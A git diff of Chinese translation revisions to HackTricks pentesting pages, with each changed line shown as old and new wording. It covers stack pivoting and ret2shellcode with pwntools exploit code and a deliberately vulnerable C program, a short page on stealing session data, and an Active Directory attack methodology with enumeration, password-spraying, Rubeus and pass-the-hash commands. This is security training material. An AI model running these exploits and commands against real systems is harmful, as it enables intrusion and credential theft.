- **`&(next fake EBP)`** -> 由于 `leave` 指令中的 `pop ebp` 加载新的 EBP
|
||||
- **`system()`** -> 由 `ret` 调用
|
||||
- **`&(leave;ret)`** -> 在 system 结束后调用，它将 ESP 移动到假 EBP 并重新开始
|
||||
- **`&("/bin/sh")`**-> `system` 的参数
|
||||
- **`&(next fake EBP)`** -> 由于`leave`指令中的`pop ebp`加载新的EBP
|
||||
- **`system()`** -> 由`ret`调用
|
||||
- **`&(leave;ret)`** -> 在system结束后调用，它将ESP移动到假EBP并重新开始
|
||||
- **`&("/bin/sh")`**-> `system`的参数
|
||||
|
||||
基本上，这种方式可以链接多个假 EBP 来控制程序的流程。
|
||||
基本上，这种方式可以链接多个假EBP以控制程序的流程。
|
||||
|
||||
这就像 [ret2lib](ret2lib/)，但更复杂，没有明显的好处，但在某些边缘情况下可能会很有趣。
|
||||
这类似于[ret2lib](ret2lib/index.html)，但更复杂，没有明显的好处，但在某些边缘情况下可能会很有趣。
|
||||
|
||||
此外，这里有一个 [**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)，使用这种技术与 **栈泄漏** 来调用一个成功的函数。这是页面的最终有效载荷：
|
||||
此外，这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)，使用这种技术与**栈泄漏**来调用一个成功的函数。这是页面的最终有效载荷：
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -92,7 +92,7 @@ print(p.recvline())
|
||||
## EBP 是无用的
|
||||
|
||||
正如[**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)，如果一个二进制文件是经过某些优化编译的，**EBP 永远无法控制 ESP**，因此，任何通过控制 EBP 的漏洞利用基本上都会失败，因为它没有任何实际效果。\
|
||||
这是因为如果二进制文件经过优化，**前言和后记会发生变化**。
|
||||
这是因为**如果二进制文件经过优化，前言和尾声会发生变化**。
|
||||
|
||||
- **未优化：**
|
||||
```bash
|
||||
@ -118,9 +118,9 @@ ret # return
|
||||
```
|
||||
## 其他控制 RSP 的方法
|
||||
|
||||
### **`pop rsp`** 小工具
|
||||
### **`pop rsp`** gadget
|
||||
|
||||
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 你可以找到使用此技术的示例。对于这个挑战，需要调用一个带有 2 个特定参数的函数，并且有一个 **`pop rsp` 小工具** 和一个 **来自栈的泄漏**：
|
||||
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 你可以找到使用此技术的示例。对于这个挑战，需要调用一个带有 2 个特定参数的函数，并且有一个 **`pop rsp` gadget** 和一个 **来自栈的泄漏**：
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -170,7 +170,7 @@ pop <reg> <=== return pointer
|
||||
<reg value>
|
||||
xchg <reg>, rsp
|
||||
```
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Stack shellcode** 是一种用于二进制利用的技术，攻击者将 shellcode 写入易受攻击程序的栈中，然后修改 **Instruction Pointer (IP)** 或 **Extended Instruction Pointer (EIP)** 以指向该 shellcode 的位置，从而导致其执行。这是一种经典的方法，用于获得未授权访问或在目标系统上执行任意命令。以下是该过程的分解，包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的利用代码。
|
||||
**Stack shellcode** 是一种在二进制利用中使用的技术，攻击者将 shellcode 写入易受攻击程序的栈中，然后修改 **Instruction Pointer (IP)** 或 **Extended Instruction Pointer (EIP)** 以指向该 shellcode 的位置，从而导致其执行。这是一种经典的方法，用于获得未授权访问或在目标系统上执行任意命令。以下是该过程的分解，包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的利用代码。
|
||||
|
||||
### C 示例：一个易受攻击的程序
|
||||
|
||||
@ -24,7 +24,7 @@ printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
这个程序由于使用了 `gets()` 函数而容易受到缓冲区溢出攻击。
|
||||
该程序由于使用了 `gets()` 函数而容易受到缓冲区溢出攻击。
|
||||
|
||||
### 编译
|
||||
|
||||
@ -34,12 +34,12 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: 禁用栈保护。
|
||||
- `-z execstack`: 使栈可执行，这对于执行存储在栈上的 shellcode 是必要的。
|
||||
- `-no-pie`: 禁用位置无关可执行文件，使预测我们的 shellcode 将位于的内存地址变得更容易。
|
||||
- `-m32`: 将程序编译为 32 位可执行文件，通常在漏洞开发中为了简化而使用。
|
||||
- `-no-pie`: 禁用位置无关可执行文件，使预测我们的 shellcode 将位于的内存地址更容易。
|
||||
- `-m32`: 将程序编译为 32 位可执行文件，通常用于简化漏洞开发。
|
||||
|
||||
### 使用 Pwntools 的 Python 漏洞
|
||||
|
||||
以下是如何使用 **pwntools** 在 Python 中编写一个 **ret2shellcode** 攻击的漏洞：
|
||||
以下是如何使用 **pwntools** 在 Python 中编写一个 **ret2shellcode** 攻击的示例：
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -68,12 +68,12 @@ p.interactive()
|
||||
```
|
||||
这个脚本构造了一个有效载荷，由**NOP滑块**、**shellcode**组成，然后用指向NOP滑块的地址覆盖**EIP**，确保shellcode被执行。
|
||||
|
||||
**NOP滑块**（`asm('nop')`）用于增加执行“滑入”我们的shellcode的机会，无论确切地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量，以落入NOP滑块。
|
||||
**NOP滑块**（`asm('nop')`）用于增加执行“滑入”我们的shellcode的机会，无论确切地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量，以便落在NOP滑块中。
|
||||
|
||||
## 保护措施
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **应该被禁用**，以确保地址在执行之间是可靠的，否则存储函数的地址不会总是相同，你需要一些泄漏信息来找出win函数加载的位置。
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) 也应该被禁用，否则被破坏的EIP返回地址将永远不会被跟随。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **应该被禁用**，以确保地址在执行之间是可靠的，否则存储函数的地址不会总是相同，你需要一些泄漏信息来找出win函数加载的位置。
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应该被禁用，否则被破坏的EIP返回地址将永远不会被跟随。
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **栈**保护将阻止在栈内执行shellcode，因为该区域将不可执行。
|
||||
|
||||
## 其他示例与参考
|
||||
|
||||
@ -3,11 +3,11 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
如果你在某个时刻发现一个**根据你的会话向你展示敏感信息的网页**：也许它反映了 cookies，或者打印了信用卡详情或其他任何敏感信息，你可以尝试窃取它。\
|
||||
在这里，我向你展示主要的几种方法：
|
||||
在这里，我向你展示主要的几种尝试实现这一目标的方法：
|
||||
|
||||
- [**CORS 绕过**](pentesting-web/cors-bypass.md)：如果你可以绕过 CORS 头，你将能够通过恶意页面执行 Ajax 请求来窃取信息。
|
||||
- [**XSS**](pentesting-web/xss-cross-site-scripting/): 如果你在页面上发现 XSS 漏洞，你可能能够利用它来窃取信息。
|
||||
- [**悬挂标记**](pentesting-web/dangling-markup-html-scriptless-injection/): 如果你无法注入 XSS 标签，你仍然可以使用其他常规 HTML 标签来窃取信息。
|
||||
- [**CORS 绕过**](pentesting-web/cors-bypass.md)：如果你可以绕过 CORS 头，你将能够通过对恶意页面执行 Ajax 请求来窃取信息。
|
||||
- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html)：如果你在页面上发现 XSS 漏洞，你可能能够利用它来窃取信息。
|
||||
- [**悬挂标记**](pentesting-web/dangling-markup-html-scriptless-injection/index.html)：如果你无法注入 XSS 标签，你仍然可以使用其他常规 HTML 标签来窃取信息。
|
||||
- [**点击劫持**](pentesting-web/clickjacking.md)：如果没有针对这种攻击的保护，你可能能够欺骗用户向你发送敏感数据（示例[在这里](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)）。
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
如果在某个时刻你发现一个**根据你的会话向你展示敏感信息的网页**：也许它反映了 cookies，或者打印了信用卡详情或其他任何敏感信息，你可以尝试窃取它。\
|
||||
如果在某个时刻你发现一个**根据你的会话呈现敏感信息的网页**：也许它反映了 cookies，或者打印了信用卡详情或其他任何敏感信息，你可以尝试窃取它。\
|
||||
在这里，我向你展示主要的几种尝试实现这一目标的方法：
|
||||
|
||||
- [**CORS 绕过**](../pentesting-web/cors-bypass.md)：如果你可以绕过 CORS 头，你将能够通过对恶意页面执行 Ajax 请求来窃取信息。
|
||||
- [**XSS**](../pentesting-web/xss-cross-site-scripting/): 如果你在页面上发现 XSS 漏洞，你可能能够利用它来窃取信息。
|
||||
- [**悬挂标记**](../pentesting-web/dangling-markup-html-scriptless-injection/): 如果你无法注入 XSS 标签，你仍然可以使用其他常规 HTML 标签来窃取信息。
|
||||
- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html)：如果你在页面上发现 XSS 漏洞，你可能能够利用它来窃取信息。
|
||||
- [**悬挂标记**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html)：如果你无法注入 XSS 标签，你仍然可以使用其他常规 HTML 标签来窃取信息。
|
||||
- [**点击劫持**](../pentesting-web/clickjacking.md)：如果没有针对这种攻击的保护，你可能能够欺骗用户向你发送敏感数据（示例[在这里](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)）。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,12 +1,12 @@
|
||||
# Active Directory Methodology
|
||||
# Active Directory 方法论
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic overview
|
||||
## 基本概述
|
||||
|
||||
**Active Directory** 作为基础技术，使 **网络管理员** 能够高效地创建和管理网络中的 **域**、**用户** 和 **对象**。它被设计为可扩展，便于将大量用户组织成可管理的 **组** 和 **子组**，同时在不同级别上控制 **访问权限**。
|
||||
|
||||
**Active Directory** 的结构由三个主要层次组成：**域**、**树** 和 **森林**。一个 **域** 包含一组对象，如 **用户** 或 **设备**，共享一个公共数据库。**树** 是通过共享结构连接的这些域的组，而 **森林** 代表多个树的集合，通过 **信任关系** 互联，形成组织结构的最上层。可以在每个层次上指定特定的 **访问** 和 **通信权限**。
|
||||
**Active Directory** 的结构由三个主要层次组成：**域**、**树** 和 **森林**。一个 **域** 包含一组对象，如 **用户** 或 **设备**，共享一个公共数据库。**树** 是这些域的组，按共享结构连接，而 **森林** 代表多个树的集合，通过 **信任关系** 互联，形成组织结构的最上层。可以在每个层次上指定特定的 **访问** 和 **通信权限**。
|
||||
|
||||
**Active Directory** 中的关键概念包括：
|
||||
|
||||
@ -25,26 +25,26 @@
|
||||
5. **权限管理** – 通过规范其未经授权的分发和使用来帮助保护版权材料。
|
||||
6. **DNS 服务** – 对 **域名** 的解析至关重要。
|
||||
|
||||
有关更详细的解释，请查看：[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
有关更详细的解释，请查看：[**TechTerms - Active Directory 定义**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Kerberos Authentication**
|
||||
### **Kerberos 身份验证**
|
||||
|
||||
要学习如何 **攻击 AD**，您需要非常好地 **理解** **Kerberos 身份验证过程**。\
|
||||
[**如果您仍然不知道它是如何工作的，请阅读此页面。**](kerberos-authentication.md)
|
||||
|
||||
## Cheat Sheet
|
||||
## 备忘单
|
||||
|
||||
您可以访问 [https://wadcoms.github.io/](https://wadcoms.github.io) 快速查看可以运行的命令，以枚举/利用 AD。
|
||||
|
||||
## Recon Active Directory (No creds/sessions)
|
||||
## 侦察 Active Directory（无凭据/会话）
|
||||
|
||||
如果您仅能访问 AD 环境，但没有任何凭据/会话，您可以：
|
||||
如果您仅访问 AD 环境，但没有任何凭据/会话，您可以：
|
||||
|
||||
- **渗透测试网络：**
|
||||
- 扫描网络，查找机器和开放端口，并尝试 **利用漏洞** 或 **提取凭据**（例如，[打印机可能是非常有趣的目标](ad-information-in-printers.md)）。
|
||||
- 枚举 DNS 可能会提供有关域中关键服务器的信息，如 Web、打印机、共享、VPN、媒体等。
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md) 以获取有关如何执行此操作的更多信息。
|
||||
- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md)，以获取有关如何执行此操作的更多信息。
|
||||
- **检查 smb 服务上的空和访客访问**（这在现代 Windows 版本上不起作用）：
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
@ -74,10 +74,10 @@
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### User enumeration
|
||||
### 用户枚举
|
||||
|
||||
- **匿名 SMB/LDAP 枚举：** 检查 [**渗透测试 SMB**](../../network-services-pentesting/pentesting-smb/) 和 [**渗透测试 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 页面。
|
||||
- **Kerbrute 枚举**：当请求 **无效用户名** 时，服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应，从而使我们能够确定用户名无效。 **有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_，指示用户需要进行预身份验证。
|
||||
- **匿名 SMB/LDAP 枚举：** 检查 [**渗透测试 SMB**](../../network-services-pentesting/pentesting-smb/index.html) 和 [**渗透测试 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 页面。
|
||||
- **Kerbrute 枚举**：当请求 **无效用户名** 时，服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应，从而使我们能够确定该用户名无效。 **有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_，指示用户需要进行预身份验证。
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -103,13 +103,13 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> 你可以在 [**这个 GitHub 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 中找到用户名列表。
|
||||
> 你可以在 [**这个 github 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
|
||||
>
|
||||
> 然而，你应该在此之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏，你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
|
||||
> 然而，你应该从之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏，你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
|
||||
|
||||
### 知道一个或多个用户名
|
||||
|
||||
好的，所以你已经知道一个有效的用户名，但没有密码……那么尝试：
|
||||
好的，所以你知道你已经有一个有效的用户名，但没有密码……那么尝试：
|
||||
|
||||
- [**ASREPRoast**](asreproast.md)：如果用户 **没有** 属性 _DONT_REQ_PREAUTH_，你可以 **请求该用户的 AS_REP 消息**，其中将包含一些由用户密码的派生加密的数据。
|
||||
- [**Password Spraying**](password-spraying.md)：让我们尝试每个发现用户的最 **常见密码**，也许某个用户使用了一个糟糕的密码（记住密码策略！）。
|
||||
@ -129,11 +129,11 @@ password-spraying.md
|
||||
|
||||
### NTML 中继
|
||||
|
||||
如果你已经成功枚举了活动目录，你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来获取对 AD 环境的访问。
|
||||
如果你已经成功枚举了活动目录，你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* 来访问 AD 环境。
|
||||
|
||||
### 窃取 NTLM 凭证
|
||||
### 偷取 NTLM 凭证
|
||||
|
||||
如果你可以使用 **null 或访客用户** 访问其他 PC 或共享，你可以 **放置文件**（如 SCF 文件），如果以某种方式被访问，将会 **触发对你的 NTML 认证**，这样你就可以 **窃取** **NTLM 挑战** 进行破解：
|
||||
如果你可以使用 **null 或访客用户** **访问其他 PC 或共享**，你可以 **放置文件**（如 SCF 文件），如果以某种方式被访问，将会 **触发对你的 NTML 认证**，这样你就可以 **窃取** **NTLM 挑战** 进行破解：
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -151,18 +151,18 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### 枚举
|
||||
|
||||
成功妥协一个账户是 **开始妥协整个域的重大步骤**，因为你将能够开始 **活动目录枚举：**
|
||||
成功妥协一个账户是 **开始妥协整个域的一个重要步骤**，因为你将能够开始 **活动目录枚举：**
|
||||
|
||||
关于 [**ASREPRoast**](asreproast.md)，你现在可以找到每个可能的易受攻击用户，关于 [**Password Spraying**](password-spraying.md)，你可以获得 **所有用户名的列表** 并尝试妥协账户的密码、空密码和新的有前景的密码。
|
||||
|
||||
- 你可以使用 [**CMD 进行基本侦查**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- 你也可以使用 [**powershell 进行侦查**](../basic-powershell-for-pentesters/)，这将更加隐蔽
|
||||
- 你也可以使用 [**powershell 进行侦查**](../basic-powershell-for-pentesters/index.html)，这将更加隐蔽
|
||||
- 你还可以 [**使用 powerview**](../basic-powershell-for-pentesters/powerview.md) 提取更详细的信息
|
||||
- 另一个在活动目录中进行侦查的惊人工具是 [**BloodHound**](bloodhound.md)。它 **不是很隐蔽**（取决于你使用的收集方法），但 **如果你不在乎**，你绝对应该试试。找出用户可以 RDP 的地方，找到其他组的路径等。
|
||||
- **其他自动化 AD 枚举工具有：** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**AD 的 DNS 记录**](ad-dns-records.md)，因为它们可能包含有趣的信息。
|
||||
- 你可以使用 **AdExplorer.exe** 这个 **GUI 工具** 来枚举目录，来自 **SysInternal** 套件。
|
||||
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证，查找字段 _userPassword_ 和 _unixUserPassword_，甚至是 _Description_。请参阅 [PayloadsAllTheThings 中 AD 用户评论的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
|
||||
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证，查找字段 _userPassword_ 和 _unixUserPassword_，甚至是 _Description_。请参阅 [PayloadsAllTheThings 上的 AD 用户评论中的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
|
||||
- 如果你使用 **Linux**，你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
|
||||
- 你还可以尝试自动化工具，如：
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
@ -191,11 +191,11 @@ kerberoast.md
|
||||
|
||||
如果你已经妥协了凭证或作为普通域用户的会话，并且你可以 **使用该用户访问域中的任何机器**，你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有拥有本地管理员权限，你才能 **在内存中（LSASS）和本地（SAM）转储其他用户的哈希**。
|
||||
|
||||
本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外，不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
|
||||
本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/index.html) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外，不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
|
||||
|
||||
### 当前会话票证
|
||||
|
||||
你很 **不太可能** 在当前用户中找到 **票证**，使你能够访问意外的资源，但你可以检查：
|
||||
你 **不太可能** 在当前用户中找到 **票证**，使你有权限访问意外资源，但你可以检查：
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -229,14 +229,14 @@ kerberoast.md
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## 在具有特权凭据/会话的 Active Directory 上进行特权提升
|
||||
## 使用特权凭据/会话在 Active Directory 上进行特权提升
|
||||
|
||||
**对于以下技术，普通域用户是不够的，你需要一些特殊的特权/凭据来执行这些攻击。**
|
||||
|
||||
### 哈希提取
|
||||
|
||||
希望你已经成功**破坏了一些本地管理员**账户，使用 [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 包括中继、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[本地提升特权](../windows-local-privilege-escalation/)。\
|
||||
然后，是时候在内存和本地转储所有哈希。\
|
||||
希望你已经成功**破坏了一些本地管理员**账户，使用 [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 包括中继、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[本地提升特权](../windows-local-privilege-escalation/index.html)。\
|
||||
然后，是时候转储内存和本地的所有哈希。\
|
||||
[**阅读此页面以了解获取哈希的不同方法。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### 传递哈希
|
||||
@ -247,7 +247,7 @@ printnightmare.md
|
||||
|
||||
### 超越传递哈希/传递密钥
|
||||
|
||||
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**，作为常见的 NTLM 协议下的传递哈希的替代方案。因此，这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中尤其**有用**。
|
||||
此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**，作为常见的 NTLM 协议下的传递哈希的替代方案。因此，这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中可能特别**有用**。
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### 传递票证
|
||||
|
||||
在**传递票证 (PTT)** 攻击方法中，攻击者**窃取用户的认证票证**而不是他们的密码或哈希值。然后使用这个被窃取的票证来**冒充用户**，在网络中获得对资源和服务的未授权访问。
|
||||
在**传递票证 (PTT)** 攻击方法中，攻击者**窃取用户的认证票证**而不是他们的密码或哈希值。然后使用这个被窃取的票证来**冒充用户**，获得对网络中资源和服务的未授权访问。
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### MSSQL 滥用与受信任链接
|
||||
|
||||
如果用户有权限**访问 MSSQL 实例**，他可能能够利用它在 MSSQL 主机上**执行命令**（如果以 SA 身份运行），**窃取** NetNTLM **哈希**，甚至执行**中继****攻击**。\
|
||||
此外，如果一个 MSSQL 实例被另一个 MSSQL 实例信任（数据库链接）。如果用户对受信任的数据库有权限，他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以链式连接，在某些情况下，用户可能能够找到一个配置错误的数据库，在那里他可以执行命令。\
|
||||
此外，如果 MSSQL 实例被其他 MSSQL 实例信任（数据库链接）。如果用户对受信任的数据库有权限，他将能够**利用信任关系在其他实例中执行查询**。这些信任可以链式连接，在某些情况下，用户可能能够找到一个配置错误的数据库，在其中执行命令。\
|
||||
**数据库之间的链接甚至可以跨森林信任工作。**
|
||||
|
||||
{{#ref}}
|
||||
@ -285,7 +285,7 @@ abusing-ad-mssql.md
|
||||
### 不受限制的委派
|
||||
|
||||
如果您发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 的计算机对象，并且您在计算机上具有域权限，您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
|
||||
因此，如果**域管理员登录到计算机**，您将能够转储他的 TGT 并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
|
||||
因此，如果**域管理员登录到计算机**，您将能够转储他的 TGT，并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
|
||||
由于受限委派，您甚至可以**自动妥协打印服务器**（希望它是 DC）。
|
||||
|
||||
{{#ref}}
|
||||
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### ACL 滥用
|
||||
|
||||
被妥协的用户可能对某些域对象拥有一些**有趣的权限**，这可能让您**横向移动**/**提升**权限。
|
||||
被妥协的用户可能对某些域对象具有一些**有趣的权限**，这可能让您**横向移动**/**提升**权限。
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** 提供了一种管理域加入计算机上的**本地管理员密码**的系统，确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中，并通过 ACL 控制对授权用户的访问。拥有足够权限访问这些密码后，可以实现对其他计算机的转移。
|
||||
**LAPS** 提供了一种管理域加入计算机上的**本地管理员密码**的系统，确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中，访问通过 ACL 仅限授权用户控制。拥有足够权限访问这些密码后，可以实现对其他计算机的转移。
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -411,7 +411,7 @@ golden-ticket.md
|
||||
|
||||
### 钻石票
|
||||
|
||||
这些就像金票，以一种**绕过常见金票检测机制**的方式伪造。
|
||||
这些票据类似于金票，但伪造方式**绕过常见的金票检测机制**。
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder 组
|
||||
|
||||
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)** 来确保**特权组**（如域管理员和企业管理员）的安全，以防止未经授权的更改。然而，这一功能可能被利用；如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限，该用户将获得对所有特权组的广泛控制。这个本应保护的安全措施因此可能适得其反，允许不当访问，除非进行严格监控。
|
||||
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)**来确保**特权组**（如域管理员和企业管理员）的安全，以防止未经授权的更改。然而，这一功能可能被利用；如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限，该用户将获得对所有特权组的广泛控制。这一安全措施本意是保护，但如果不加以监控，可能会适得其反，导致不当访问。
|
||||
|
||||
[**有关 AdminDSHolder 组的更多信息在这里。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
@ -463,9 +463,9 @@ acl-persistence-abuse/
|
||||
security-descriptors.md
|
||||
{{#endref}}
|
||||
|
||||
### 骨架钥匙
|
||||
### 骨架密钥
|
||||
|
||||
在内存中更改**LSASS**以建立一个**通用密码**，授予对所有域账户的访问权限。
|
||||
